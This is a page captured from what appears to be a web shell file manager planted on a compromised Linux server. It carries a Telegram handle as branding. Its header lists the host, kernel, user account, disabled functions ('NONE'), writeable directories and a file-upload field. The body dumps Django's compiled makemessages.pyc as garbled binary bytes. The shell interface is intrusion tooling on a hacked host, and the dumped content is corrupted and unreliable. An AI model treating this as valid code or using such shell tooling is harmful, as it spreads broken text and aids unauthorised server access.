https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /lib64/python2.7/site-packages/django/core/management/commands/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib64/python2.7/site-packages/django/core/management/commands/makemessages.pyc
�
r�\c@sPddlZddlZddlZddlZddlZddlZddlmZddlm	Z	ddl
Z
ddlmZm
Z
ddlmZmZmZddlmZddlmZddlmZdd	lmZejd
ejejB�ZdZd�Zed
e fd��Y�Z!d�Z"de
fd��YZ#dS(i����N(t	dropwhile(tmake_option(tCommandErrort
NoArgsCommand(thandle_extensionstfind_commandt
popen_wrapper(t	force_str(ttotal_ordering(t
get_text_list(tprepare_js_for_gettexts$^(?P<value>"Plural-Forms.+?\\n")\s*$icGs:x3|D]+}t|�dkrtd|��qqWdS(NsLCan't find %s. Make sure you have GNU gettext tools 0.15 or newer installed.(RtNoneR(tprogramstprogram((sN/tmp/pip-install-XxeQeY/django/django/core/management/commands/makemessages.pytcheck_programss
tTranslatableFilecBs8eZd�Zd�Zd�Zd�Zed�ZRS(cCs||_||_dS(N(tfiletdirpath(tselfRt	file_name((sN/tmp/pip-install-XxeQeY/django/django/core/management/commands/makemessages.pyt__init__ s	cCs dtjj|j|jg�S(Ns<TranslatableFile: %s>(tostseptjoinRR(R((sN/tmp/pip-install-XxeQeY/django/django/core/management/commands/makemessages.pyt__repr__$scCs"|j|jko!|j|jkS(N(RR(Rtother((sN/tmp/pip-install-XxeQeY/django/django/core/management/commands/makemessages.pyt__eq__'scCs2|j|jkr"|j|jkS|j|jkS(N(RR(RR((sN/tmp/pip-install-XxeQeY/django/django/core/management/commands/makemessages.pyt__lt__*scCs1ddlm}|jdkrB|jjd|j|jf�ntjj	|j�\}}|dkr�||j
kr�t}tjj|j|j�}	t
|	��}
|
j�}WdQXt|�}d|j}tjj|j|�}
t
|
d��}
|
j|�WdQXd	d
|ddd
ddddddg}|jrV|j|j�n|jrr|j|j�n|j|
�n{|dkr�|dks�||j
kr�|j}tjj|j|j�}	||j
k}|r`t
|	d��}
|
j�}WdQXd|j}|||	d�}t
tjj|j|�d��}
|
j|�WdQXntjj|j|�}
d	d
|ddd
dddddddddddg}|jr�|j|j�n|jr�|j|j�n|j|
�ndSt|�\}}}|r�|tkr|r:tj|
�n|rctjj|�rctj|�ntd|j|f��q�|jd kr�|jj|�q�n|r|rtjd!kr�d"|
}d"|	}nd"|
d}d"|	d}|j||�}nt||�n|r-tj|
�ndS(#s�
        Extract translatable literals from self.file for :param domain:
        creating or updating the :param potfile: POT file.

        Uses the xgettext GNU gettext utility.
        i����(t
templatizeisprocessing file %s in %s
tdjangojsNs%s.ctwtxgettexts-ds--language=Cs--keyword=gettext_noops--keyword=gettext_lazys--keyword=ngettext_lazy:1,2s--keyword=pgettext:1c,2s--keyword=npgettext:1c,2,3s--from-code=UTF-8s--add-comments=Translatorss
--output=-tdjangos.pytrUs%s.pyis--language=Pythons--keyword=ugettext_noops--keyword=ugettext_lazys--keyword=ungettext_lazy:1,2s--keyword=pgettext_lazy:1c,2s--keyword=npgettext_lazy:1c,2,3s/errors happened while running xgettext on %s
%sitnts#: (tdjango.utils.translationRt	verbositytstdouttwriteRRRtpathtsplitextt
extensionstTrueRtopentreadR
twraptappendtlocationRt	STATUS_OKtunlinktexistsRtnametreplacetwrite_pot_file(Rtcommandtpotfiletdomaintkeep_potRt_tfile_exttis_templatizedt	orig_filetfptsrc_datatthefilet	work_filetargstcontenttmsgsterrorststatustoldtnew((sN/tmp/pip-install-XxeQeY/django/django/core/management/commands/makemessages.pytprocess/s�#
			'	
$			

(t__name__t
__module__RRRRtFalseRI(((sN/tmp/pip-install-XxeQeY/django/django/core/management/commands/makemessages.pyRs
				cCsqtjj|�r6djtt|jd���}n|jdd�}t|d��}|j	|�WdQXdS(s|
    Write the :param potfile: POT file with the :param msgs: contents,
    previously making sure its format is valid.
    s
scharset=CHARSETs
charset=UTF-8taN(
RR'R2RRtlentsplitR4R+R&(R7RDR>((sN/tmp/pip-install-XxeQeY/django/django/core/management/commands/makemessages.pyR5�s
$tCommandcBs�eZejedddd7dddddd�ed	d
dddddd
�edddddddedd�edddddddd�edddddddedd�edddddddgdddd �ed!dd"dd#dedd$�ed%dddd&dedd'�ed(dddd)dedd*�ed+dddd,dedd-�ed.dddd/dedd0�fZd1ZeZ	eZ
d2�Zd3�Zd4�Z
d5�Zd6�ZRS(8s--locales-ltdefaulttdesttlocaletactionR.thelpsfCreates or updates the message files for the given locale(s) (e.g. pt_BR). Can be used multiple times.s--domains-dR R8s4The domain of the message files (default: "django").s--alls-at
store_truetalls3Updates the message files for all existing locales.s--extensions-eR)s�The file extension(s) to examine (default: "html,txt", or "js" if the domain is "djangojs"). Separate multiple extensions with commas, or use -e multiple times.s
--symlinkss-stsymlinkssaFollows symlinks to directories when examining source code and templates for translation strings.s--ignores-itignore_patternstmetavartPATTERNs`Ignore files or directories matching this glob-style pattern. Use multiple times to ignore more.s--no-default-ignoretstore_falsetuse_default_ignore_patternssJDon't ignore the common glob-style patterns 'CVS', '.*', '*~' and '*.pyc'.s	--no-wraptno_wraps2Don't break long message lines into several lines.s
--no-locationtno_locations%Don't write '#: filename:line' lines.s
--no-obsoletetno_obsoletes Remove obsolete message strings.s
--keep-potR9s<Keep .pot file after making messages. Useful when debugging.s<Runs over the entire source tree of the current directory and pulls out all strings marked for translation. It creates (or updates) a message file in the conf/locale (in the django tree) or locale (for projects and applications) directory.

You must run this command with one of either the --locale or --all options.cOs�|jd�}|jd�|_t|jd��|_|jd�}|jd�}|jd�|_|jd�}|jd�r�|d	d
ddg7}ntt|��|_|jd
�r�dnd|_|jd�r�dnd|_	|jd�|_
|jd�|_|jd+kr3td��n|jdkrZ|rN|ndg}n|rf|n	ddg}t
|�|_|dkr�|s�|jdkr�tdtjjtjd�tjdf��n|jdkr|jjdtt|j�d��ndd lm}|jr3t|_n|jd!t�t|_tjj tjj!d"d��r�tjj"tjj!d"d��}	t|_|jd#g7_n3tjj d�r�tjj"d�}	ntd$��t#d%�|j$|	�}
g}|dk	r|}nP|rct%tjj t&j&d&|	��}g|D]}
tjj|
�^qB}n|r|t#d'd(d)�nzKxD|D]<}|jdkr�|jjd*|�n|j'|
|�q�WWd|jr�tjj(|
�r�tj)|
�nXdS(,NRSR8R$RWR)RXRYR]tCVSs.*s*~s*.pycR^s	--no-wraptR_s
--no-locationR`R9R RsDcurrently makemessages only supports domains 'django' and 'djangojs'tjsthtmlttxts(Type '%s help %s' for usage information.iis(examining files with the extensions: %s
tandi����(tsettingstUSE_I18Ntconfs	contrib/*s�This script should be run from the Django Git tree or your project or app tree. If you did indeed run it from the Git checkout or your project or application, maybe you are just missing the conf/locale (in the django tree) or locale (for project and application) directory? It is not created automatically, you have to create it by hand if you want to enable i18n for your project or application.Rs%s/*tmsguniqtmsgmerget	msgattribsprocessing locale %s
(sdjangosdjangojs(*tgetR8tintR$RXtlisttsetRYR-R/R`R9RRR)RRR'tbasenametsystargvR%R&R	tdjango.confRgt
configuredR*Rht	configureRLtinvoked_for_djangotisdirRtabspathRtbuild_pot_filetfiltertglobt
write_po_fileR2R1(RRBtoptionsRStprocess_allR)RYtextsRgt	localedirR7tlocalestlocale_dirstl((sN/tmp/pip-install-XxeQeY/django/django/core/management/commands/makemessages.pyt
handle_noargs�sn"-		!!	
	"(
cCs�|jd�}tjj|dt|j��}tjj|�rStj|�nxb|D]Z}y |j|||j|j	�WqZt
k
r�|jjd|j
|jf�qZXqZW|S(Nt.s%s.pots)UnicodeDecodeError: skipped file %s in %s(t
find_filesRR'RtstrR8R2R1RIR9tUnicodeDecodeErrorR%R&RR(RR�t	file_listR7tf((sN/tmp/pip-install-XxeQeY/django/django/core/management/commands/makemessages.pyRzs"
 
(cCs�d�}dtj}g|jD],}|j|�rF|t|� n|^q }g}x$tj|dtd|j�D]\}}}	xo|D]f}
|tjj	tjj
||
��|�r�|j|
�|jdkr�|j
jd|
�q�q�q�Wx�|	D]x}|tjj	tjj
||��|j�ra|jdkrw|j
jd||f�qwq�|jt||��q�WqwWt|�S(sC
        Helper method to get all files in the given root.
        cs;tjj|���fd��t�fd�|D��S(sK
            Check if the given path should be ignored or not.
            cstj�|�S(N(tfnmatchtfnmatchcase(tpattern(tfilename(sN/tmp/pip-install-XxeQeY/django/django/core/management/commands/makemessages.pyt<lambda>5sc3s|]}�|�VqdS(N((t.0R�(tignore(sN/tmp/pip-install-XxeQeY/django/django/core/management/commands/makemessages.pys	<genexpr>6s(RR'Rqtany(R'RY((R�R�sN/tmp/pip-install-XxeQeY/django/django/core/management/commands/makemessages.pyt
is_ignored0ss%s*ttopdowntfollowlinksisignoring directory %s
signoring file %s in %s
(RRRYtendswithRNtwalkR*RXR'tnormpathRtremoveR$R%R&R.Rtsorted(RtrootR�t
dir_suffixtpt
norm_patternst	all_filesRtdirnamest	filenamestdirnameR�((sN/tmp/pip-install-XxeQeY/django/django/core/management/commands/makemessages.pyR�+s 	
<.*

- c
Cs*ddg}|jr(|j|j�n|jrD|j|j�n|j|�t|�\}}}|r�|tkr�td|��q�|jdkr�|jj|�q�nt	j
jt	j
j|�|d�}t	j
j
|�s�t	j|�nt	j
j|dt|j��}t	j
j|�rt|d��}	|	j|�WdQXd	d
g}|jrw|j|j�n|jr�|j|j�n|j||g�t|�\}}}|r&|tkr�td|��q|jdkr|jj|�qq&n|js&|j||�}n|jd|jd
�}t|d��}	|	j|�WdQX|jr&dd|dg}|jr�|j|j�n|jr�|j|j�n|j|�t|�\}}}|r&|tkr�td|��q#|jdkr#|jj|�q#q&ndS(s�
        Creates or updates the PO file for self.domain and :param locale:.
        Uses contents of the existing :param potfile:.

        Uses mguniq, msgmerge, and msgattrib GNU gettext utilities.
        Rjs--to-code=utf-8s(errors happened while running msguniq
%sitLC_MESSAGESs%s.poRNRks-qs)errors happened while running msgmerge
%ss2#. #-#-#-#-#  %s.pot (PACKAGE VERSION)  #-#-#-#-#
RbRls-os
--no-obsoletes*errors happened while running msgattrib
%s(R-R.R/RR0RR$R%R&RR'RR�RxtmakedirsR�R8R2R+textendRwtcopy_plural_formsR4R`(
RR7RSRBRDRERFtbasedirtpofileR>((sN/tmp/pip-install-XxeQeY/django/django/core/management/commands/makemessages.pyR}Isj		
$"						
c
	Cs�tjjtjjtjjtj���}|jdkrEd}nd}x5|D]-}tjj|dd|dd|�}tjj|�rRt	j
|ddd	��}tj|j
��}Wd
QX|rt|jd��}	|jdkr|jjd
|	�ng}
t}xT|jd�D]C}|rX|sEtj|�rXd|	}t}n|
j|�q"Wdj|
�}PqqRqRW|S(s�
        Copies plural forms header contents from a Django catalog of locale to
        the msgs string, inserting it at the right place. msgs should be the
        contents of a newly created .po file.
        RR RiRSR�s%s.poR!tencodingsutf-8Ntvalueiscopying plural forms: %s
s
s%s
(sdjangojssdjango(sdjango(RR'R�RR�R t__file__R8R2tioR+tplural_forms_retsearchR,RtgroupR$R%R&RLROR*R.(
RRDRSt
django_dirtdomainsR8t	django_poR>tmtplural_form_linetlinestfoundtline((sN/tmp/pip-install-XxeQeY/django/django/core/management/commands/makemessages.pyR��s.-	
%
	N(RJRKRtoption_listRRRLR*RUtrequires_model_validationtleave_locale_aloneR�RzR�R}R�(((sN/tmp/pip-install-XxeQeY/django/django/core/management/commands/makemessages.pyRP�s@	Q			@($R�R|R�RtreRrt	itertoolsRtoptparseRR tdjango.core.management.baseRRtdjango.core.management.utilsRRRtdjango.utils.encodingRtdjango.utils.functionalRtdjango.utils.textR	tdjango.utils.jslexR
tcompilet	MULTILINEtDOTALLR�R0RtobjectRR5RP(((sN/tmp/pip-install-XxeQeY/django/django/core/management/commands/makemessages.pyt<module>s*	z	

https://t.me/AnonymousX5 - 2025